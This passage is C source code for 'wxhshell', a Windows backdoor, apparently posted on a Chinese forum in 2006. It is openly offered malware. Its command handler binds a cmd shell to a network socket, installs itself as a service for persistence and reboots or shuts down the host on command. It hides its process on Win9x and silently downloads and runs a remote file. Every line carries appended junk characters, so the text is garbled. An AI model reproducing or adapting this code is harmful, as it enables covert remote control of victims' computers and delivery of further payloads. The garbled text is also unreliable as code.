  case '?': { bzFwQi}>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); O*MC"%T  
    break; BR1oE3in  
  } l{U-$}  
  // 安装 O 0Fw!IQk  
  case 'i': { W5a)`%H  
    if(Install()) I[|5 DQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b!W!Vvf^x  
    else HCP' V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  $$E!u}  
    break; 2{!o"6t  
    } [t^Z2a{  
  // 卸载  /[f9Z:>V  
  case 'r': { F?b5!<5  
    if(Uninstall()) ?yKW^,q+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]Lg$p  
    else N?`-$C ]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CRy;>UI  
    break; Zy0u@``  
    } ]Bo !v*12  
  // 显示 wxhshell 所在路径 wOH$S=Ba5,  
  case 'p': { /A3tY"Vn  
    char svExeFile[MAX_PATH]; X}?`G?'  
    strcpy(svExeFile,"\n\r"); PprCz"  
      strcat(svExeFile,ExeFile); <"I#lib  
        send(wsh,svExeFile,strlen(svExeFile),0); N}0-L$@SL  
    break; n[#!Q`D  
    } CB(Qy9C%h[  
  // 重启 02Z># AE  
  case 'b': { 2/.E uf   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =,B44:`r  
    if(Boot(REBOOT)) gC-3ghmgS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qsnZ?hXPp  
    else { -h&AO\*^W  
    closesocket(wsh); BbA7X  
    ExitThread(0); B4k ~~;|  
    } >"qnuv G  
    break; I$@0FSl  
    } \$o5$/oU(  
  // 关机 SH# -3&$[  
  case 'd': { 8r@_b  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {"< D$*K~  
    if(Boot(SHUTDOWN)) vu^ '+ky  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @di mZsi1  
    else { . IBy'  
    closesocket(wsh); ;0lHi4 c0  
    ExitThread(0); mfHZGk[[  
    } 3DH} YAUU  
    break; ~(4;P%L:  
    } N%Gb  
  // 获取shell RJ/4T#b"+  
  case 's': { rwb7>]UI"d  
    CmdShell(wsh); u~Zx9>f  
    closesocket(wsh); ^J,Zl`N  
    ExitThread(0); Kj| l]'  
    break; gzS6{570  
  } ?[#nh@mI  
  // 退出  5VWyc9Q  
  case 'x': { Q/EHvb]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }E626d}uA  
    CloseIt(wsh); [R$iX  
    break; <=;#I_E#E  
    } 4L(/Z}(  
  // 离开  QKW;r  
  case 'q': { 3z$9jN/<u  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "M.\Z9BCt  
    closesocket(wsh); ,Y|WSKY*  
    WSACleanup(); d{?X:*F  
    exit(1); Opc, {,z6  
    break; .t\#>Fe  
        } j2A Z.s  
  } 4+fWIY1 "  
  } nH*JR  
R"NR-iU  
  // 提示信息 #*QnO\.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rPf<8oH  
} y7ng/vqM7  
  } ZzZy2.7  
`9IG//  
  return; N?]HWP^pg  
} $j? zEz  
~gz_4gzb  
// shell模块句柄 >OP[ qj  
int CmdShell(SOCKET sock) 0[(TrIpXl  
{ j9FG)0  
STARTUPINFO si; ?7 Kl)p3  
ZeroMemory(&si,sizeof(si)); EqW/Wxv7b  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &z!yY^g  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; b4o`eR  
PROCESS_INFORMATION ProcessInfo; AN-qcp6=o  
char cmdline[]="cmd"; Z_iVOctP  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); '6Lw<#It  
  return 0; ] B ZSW  
} g"pjWj)?  
6_KO6O7g  
// 自身启动模式 Gt >*y.]  
int StartFromService(void) n#F:(MSOp  
{ >K<n~;ON|  
typedef struct a o"\L0;{  
{ UVND1XV^f  
  DWORD ExitStatus; Yyl(<,Yi  
  DWORD PebBaseAddress; _ISIq3A?  
  DWORD AffinityMask; `;?`XC"m  
  DWORD BasePriority; Tw^b!74gq  
  ULONG UniqueProcessId; IGKF&s*;{[  
  ULONG InheritedFromUniqueProcessId; s];jroW@u  
}   PROCESS_BASIC_INFORMATION; :Fe}.* t  
5Q $6~\  
PROCNTQSIP NtQueryInformationProcess; PtR8m=O  
!% 'dyj  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 'Z^-(xG,+  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -_<rmR[:]  
wGRMv1|lIu  
  HANDLE             hProcess; 9 b?Nlk8d  
  PROCESS_BASIC_INFORMATION pbi; rUJIf;Zwo  
{ek a xSR  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); O7&6]/`  
  if(NULL == hInst ) return 0; B.O &KRo  
i@Vi.oc4[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); fa~4+jx>S  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); U]!~C 1cmw  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); v[P $c$Xi  
Pra,r9h,  
  if (!NtQueryInformationProcess) return 0; 3<c_`BWu  
)#|I(Gz ^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); NR </Jm*  
  if(!hProcess) return 0; B4 XN  
?H7YmN  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; G)|s(C!  
9c `Vrlu  
  CloseHandle(hProcess); >ZX&2 {  
2h:*lV^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @Kl'0>U  
if(hProcess==NULL) return 0; uH"W07  
"9>.,nzt  
HMODULE hMod; )21yD1"6  
char procName[255];  ' ];|  
unsigned long cbNeeded; 5Vq&w`sW  
0m`{m'B4n  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =Fu~ 0Wc  
@fjVCc;  
  CloseHandle(hProcess); 'aLTiF+  
@nPXu2c?u7  
if(strstr(procName,"services")) return 1; // 以服务启动 eaNMcC1  
PG@Uygahu  
  return 0; // 注册表启动 Y*}xD;c k  
} G]DSwtB?D  
VB(S]N)F^  
// 主模块 7Pb: z4j  
int StartWxhshell(LPSTR lpCmdLine) Hu4\4x$?  
{ oQsls9t  
  SOCKET wsl; 'h]sq {  
BOOL val=TRUE; !:zWhu,  
  int port=0; /*$B  
  struct sockaddr_in door; N^Bjw?3  
[pAW':  
  if(wscfg.ws_autoins) Install(); LBCat=d<  
*_Sx^`"X`l  
port=atoi(lpCmdLine); ,)u7PMs  
@)i A V1r"  
if(port<=0) port=wscfg.ws_port; ()[j<KX{.  
:3oLGiL   
  WSADATA data; f&ZFG>)6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~a5-xWEZ  
F4o)6+YM   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   O|ODJOQNol  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); E;*JD x  
  door.sin_family = AF_INET; 0\/cTNN  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7QnQ=gu  
  door.sin_port = htons(port); /kK%}L_D  
?H30  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { q8Z,XfF^S  
closesocket(wsl); ..Dr?#Cr  
return 1; 3M@!?=| U  
} AbXaxt/[g?  
1G6 %?Iph  
  if(listen(wsl,2) == INVALID_SOCKET) { Ok/U"N-  
closesocket(wsl); CcDi65s  
return 1; _,G^#$pH  
} H0 %;t  
  Wxhshell(wsl); .#BWu(EYV  
  WSACleanup(); i wFI lJ@  
8i?Hh?Mf}  
return 0; da,;IE{1u  
]CL9N  
} Q,AM<\S  
QP%*`t?  
// 以NT服务方式启动 a ,EApUWw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) L2N O_N  
{ +^@;J?O  
DWORD   status = 0; cW|M4`  
  DWORD   specificError = 0xfffffff; cD!y d^QE  
]TTQ;F  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @/DHfs4O  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Q+r8qnL'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; p3f>;|uh_  
  serviceStatus.dwWin32ExitCode     = 0; d^.@~  
  serviceStatus.dwServiceSpecificExitCode = 0; kN'.e*  
  serviceStatus.dwCheckPoint       = 0; 2)W~7GED  
  serviceStatus.dwWaitHint       = 0; *!W<yNrR  
Gs0x;91  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Y)7LkZO(y  
  if (hServiceStatusHandle==0) return; uyfH;9L5$  
Q^Lk^PP7  
status = GetLastError(); i^O(JC  
  if (status!=NO_ERROR) v})-:  
{ Z: e|~#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @C=Dk  
    serviceStatus.dwCheckPoint       = 0; `g~T #U\>d  
    serviceStatus.dwWaitHint       = 0; S,'y L7s  
    serviceStatus.dwWin32ExitCode     = status; =Y-ZI  
    serviceStatus.dwServiceSpecificExitCode = specificError; N8-!}\,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (:TZ~"VY  
    return; QnJ(C]cW  
  } 'x{E#4A  
*pZhwO !D  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; kCuIEv@  
  serviceStatus.dwCheckPoint       = 0; LY? `+/  
  serviceStatus.dwWaitHint       = 0; H:x{qS4Si  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ivi,/~L  
} 7^3a296  
E7c!KJ2  
// 处理NT服务事件,比如:启动、停止 SFaG`T=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) i_KAD U&mP  
{ ~Wox"h}(  
switch(fdwControl) .w@o%AO_  
{ dh; L!  
case SERVICE_CONTROL_STOP: BB)( #yoi  
  serviceStatus.dwWin32ExitCode = 0; |Qa[N(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <q dM  
  serviceStatus.dwCheckPoint   = 0; {dk%j~w8  
  serviceStatus.dwWaitHint     = 0; I8%2tLVY  
  { bt2`elH|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [og_0;  
  } p^yuz (  
  return; "j<l=l!  
case SERVICE_CONTROL_PAUSE: ahnQq9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \A ?B{*  
  break; O:hCUr  
case SERVICE_CONTROL_CONTINUE: RqenPM k  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /3>5ex>PN  
  break; ]'%Z&1 w  
case SERVICE_CONTROL_INTERROGATE: b-Q%c xJ  
  break; /xu#ZZ?8F_  
}; 1X7tN2tQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -*QxZiKD  
} o;#9$j7QP!  
4,yS7l  
// 标准应用程序主函数 Y#A0ud,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) bL)7 /E  
{ ^kElb;d  
YgFmJ.1  
// 获取操作系统版本 Go8?8*  
OsIsNt=GetOsVer();  IeZgF>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); FK2* O  
B,f4<  
  // 从命令行安装 oU`J~6.&S  
  if(strpbrk(lpCmdLine,"iI")) Install(); l^ Q-KUI  
(C=.&',P  
  // 下载执行文件 ohod)8  
if(wscfg.ws_downexe) { ]l~TI8gC  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) S{sJX5R;  
  WinExec(wscfg.ws_filenam,SW_HIDE); -#e3aXe  
} |d@%Vb_  
 #"6O3.P  
if(!OsIsNt) { c[h{C!d1  
// 如果时win9x,隐藏进程并且设置为注册表启动 UUuB Rtau  
HideProc(); w}`TJijl  
StartWxhshell(lpCmdLine); qMj'%5/  
} <EHgPlQn  
else P m Zb!|  
  if(StartFromService()) X,Q'Xe /  
  // 以服务方式启动 1_aUU,|.  
  StartServiceCtrlDispatcher(DispatchTable); ("+J*u*kq_  
else 8^8fUN4<=  
  // 普通方式启动 2(<2Gnpl  
  StartWxhshell(lpCmdLine); !pwY@} oL  
bIR&e E  
return 0; 04u^Q  
}
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只看该作者 1 发表于: 2006-10-10
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